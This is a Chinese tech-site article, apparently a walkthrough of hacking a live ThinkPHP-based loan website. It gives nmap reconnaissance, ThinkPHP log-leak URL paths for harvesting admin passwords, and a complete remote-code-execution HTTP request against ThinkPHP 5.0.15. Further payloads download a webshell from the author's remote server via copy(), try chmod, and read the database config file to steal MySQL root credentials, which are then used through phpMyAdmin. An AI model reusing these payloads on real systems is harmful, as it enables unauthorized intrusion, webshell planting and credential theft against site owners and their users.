广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ThinkPHP框架的渗透方法是什么
  • 330
分享到

ThinkPHP框架的渗透方法是什么

2023-06-28 22:06:09 330人浏览 安东尼
摘要

这篇文章主要讲解了“ThinkPHP框架的渗透方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Thinkphp框架的渗透方法是什么”吧!信息收集找到一个网站 Http://x.x.x

这篇文章主要讲解了“ThinkPHP框架的渗透方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Thinkphp框架的渗透方法是什么”吧!

信息收集

找到一个网站 Http://x.x.x.x/ 下面开始对他进行渗透

首先使用nmap对受害服务器开放的端口扫描探测端口

ThinkPHP框架的渗透方法是什么

可以看到开放的端口如下
ThinkPHP框架的渗透方法是什么

端口就是应用程序在计算机通信中的唯一识别id,通过端口我们就能知道受害服务器开放了什么服务

如3306是mysql并开启了外联,接下来我们对端口访问看看具体开放了什么服务

8080开放了phpmyadmin一款php连接Mysql工具我们可以利用他爆破mysql密码

ThinkPHP框架的渗透方法是什么

8082是一个贷款首页

随便输入一个不存在的路由然后查看错误信息如http://x.x.x.x/gfvhf

ThinkPHP框架的渗透方法是什么

成功报错:thinkphp框架的版本是5.1.7(这个版本有注入漏洞)

ThinkPHP框架的渗透方法是什么

8084是一个后台继续收集

ThinkPHP框架的渗透方法是什么

8092是一个后台,因为部署不规范存在thinkphp日志泄露,路径 http://x.x.x.x:8092/runtime/log/202112/19.log 可以到里面查看到管理员登录过的账号密码。

这里说一下黑产使用thinkphp框架因为运维半吊子很有可能有thinkphp日志泄露

tp5-6 payload: 域名/runtime/log/202112/19.log (后面的202112/19.log是根据当前日期变化的)

tp3 payload: 域名 /Application/Runtime/Logs/Home/21_12_19.log (后面的21_12_19.log是根据当前日期变化的)8083端口使用的thinkphp版本是5.0.15,5.0.15版本的利用条件低挑软柿子捏就这个吧

ThinkPHP框架的渗透方法是什么

信息收集完毕精准打击

打开burp,然后使用抓包,然后将数据包转发到burp的Repeater模块下,将抓包内容替换成如下内容

漏洞原理就不做详细讲解了,没个php架构层是听不懂的。简单描述一下就是一个变量覆盖造成代码执行

下面数据包内容是触发漏洞让服务器执行phpinfo()

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1Host: x.x.x.xCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWEBKit/537.36 (Khtml, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: pMacookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69GContent-Type:application/x-www-fORM-urlencodedContent-Length: 77_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

执行成功,可以看到php的一些详细信息

ThinkPHP框架的渗透方法是什么

下面开始写入shell将请求头替换成:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1

意思是将我服务器上远程的shell文件http://x.x.x.x/2.txt下载,写入到当前web目录下的t2.php

但我访问t2.php,出现404猜测应该是当前目录没有写权限

于是尝试给写权限:

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1

发现还是写不了shell,php权限很低。

将chmod('./',0777) 替换成readfile('../application/database.php')读取数据库配置文件。发现成功获取到mysql账号密码。

ThinkPHP框架的渗透方法是什么

使用我们之前发现的phpmyadmin服务登录然后mysql开启外联

使用mysql管理工具连接,发现一堆数据库。并且mysql直接是root权限,可以对服务器进行提权(内网横向渗透)等。反正外网以经开了一个口子,这里我就不深入了。

ThinkPHP框架的渗透方法是什么

感谢各位的阅读,以上就是“ThinkPHP框架的渗透方法是什么”的内容了,经过本文的学习后,相信大家对ThinkPHP框架的渗透方法是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

--结束END--

本文标题: ThinkPHP框架的渗透方法是什么

本文链接: https://www.lsjlt.com/news/321108.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • ThinkPHP框架的渗透方法是什么
    这篇文章主要讲解了“ThinkPHP框架的渗透方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“ThinkPHP框架的渗透方法是什么”吧!信息收集找到一个网站 http://x.x.x...
    99+
    2023-06-28
  • Android渗透测试的方法是什么
    Android渗透测试方法包括以下几个步骤:1. 信息收集:对目标应用进行分析和了解,包括应用版本、权限、配置文件等信息,以及对目标...
    99+
    2023-08-25
    Android
  • ThinkPHP是什么框架
    这篇文章将为大家详细讲解有关ThinkPHP是什么框架,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。  ThinkPHP  ThinkPHP(FCS)是一个轻量级的中型框...
    99+
    2022-10-19
  • 宝塔中ThinkPHP框架使用Redis的方法是什么
    今天小编给大家分享一下宝塔中ThinkPHP框架使用Redis的方法是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。Re...
    99+
    2023-07-05
  • thinkphp框架中钩子的配置调用方法是什么
    这篇文章主要讲解了“thinkphp框架中钩子的配置调用方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“thinkphp框架中钩子的配置调用方法是什么”吧!thinkphp的钩子行为...
    99+
    2023-06-21
  • ThinkPHP框架的主要特性是什么
    本篇内容主要讲解“ThinkPHP框架的主要特性是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“ThinkPHP框架的主要特性是什么”吧!高级模型:可以轻松支持序列化字段、文本字段、只读字段...
    99+
    2023-06-04
  • thinkphp框架中{$smarty.const.__SELF__}是什么意思
    这篇文章主要介绍“thinkphp框架中{$smarty.const.__SELF__}是什么意思”,在日常操作中,相信很多人在thinkphp框架中{$smarty.const.__SELF__}是什么意思问题上存在疑惑,小编查阅了各式资...
    99+
    2023-06-21
  • ssm框架的配置方法是什么
    SSM框架的配置方法一般包括以下几个步骤:1. 配置Spring配置文件:创建一个Spring配置文件,通常命名为applicati...
    99+
    2023-09-21
    ssm
  • ASP.NET MVC框架的使用方法是什么
    ASP.NET MVC框架的使用方法如下:1. 创建ASP.NET MVC项目:打开Visual Studio,选择“创建新项目”,...
    99+
    2023-10-10
    ASP.NET MVC
  • Java springboot整合Shiro框架的方法是什么
    本篇内容主要讲解“Java springboot整合Shiro框架的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Java springboot整合Shiro框架的...
    99+
    2023-06-26
  • DWZ框架的用法是什么
    DWZ框架是一种基于jQuery和Bootstrap的前端开发框架,主要用于快速构建后台管理系统。它提供了一套简洁的界面风格和丰富的...
    99+
    2023-10-26
    DWZ
  • HttpRunner框架的用法是什么
    HttpRunner是一个用于接口自动化测试的开源框架,它基于Python语言开发,使用简单且功能强大。 HttpRunner的用法...
    99+
    2023-10-24
    HttpRunner
  • struts框架的原理和应用方法是什么
    Struts框架是一个用于开发Java Web应用程序的MVC(模型-视图-控制器)框架。它提供了一种结构化的方式来组织和管理Web...
    99+
    2023-10-26
    struts
  • ASP 框架在 Linux 上的使用方法是什么?
    ASP(Active Server Pages)框架是一种非常流行的服务器端脚本语言,它可以用于构建动态的网站和 Web 应用程序。尽管 ASP 最初是为 Windows 平台开发的,但是它现在也可以在 Linux 上使用。 本文将介绍 A...
    99+
    2023-06-19
    框架 linux leetcode
  • thinkphp中的Image操作方法是什么
    这篇文章主要讲解了“thinkphp中的Image操作方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“thinkphp中的Image操作方法是什么”吧!独立thinkphp3.2.3...
    99+
    2023-06-26
  • thinkphp页面修改的方法是什么
    本篇内容主要讲解“thinkphp页面修改的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“thinkphp页面修改的方法是什么”吧!页面渲染在thinkphp框架下,页面的渲染是通过控...
    99+
    2023-07-06
  • thinkphp下载安装的方法是什么
    这篇文章主要介绍“thinkphp下载安装的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“thinkphp下载安装的方法是什么”文章能帮助大家解决问题。一、下载thinkphp在think...
    99+
    2023-07-06
  • rust orm框架的用法是什么
    Rust的ORM(对象关系映射)框架用于简化Rust语言与关系型数据库之间的交互。ORM框架可以帮助开发者避免手动编写SQL查询语句...
    99+
    2023-10-26
    Rust
  • css设置透明的方法是什么
    这篇文章主要介绍“css设置透明的方法是什么”,在日常操作中,相信很多人在css设置透明的方法是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”css设置透明的方法是什么”的疑惑有所帮助!接下来,请跟着小编...
    99+
    2023-07-04
  • python的Django框架创建项目的方法是什么
    这篇文章主要讲解了“python的Django框架创建项目的方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“python的Django框架创建项目的方法是什么”吧!具体如下:  Dj...
    99+
    2023-06-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作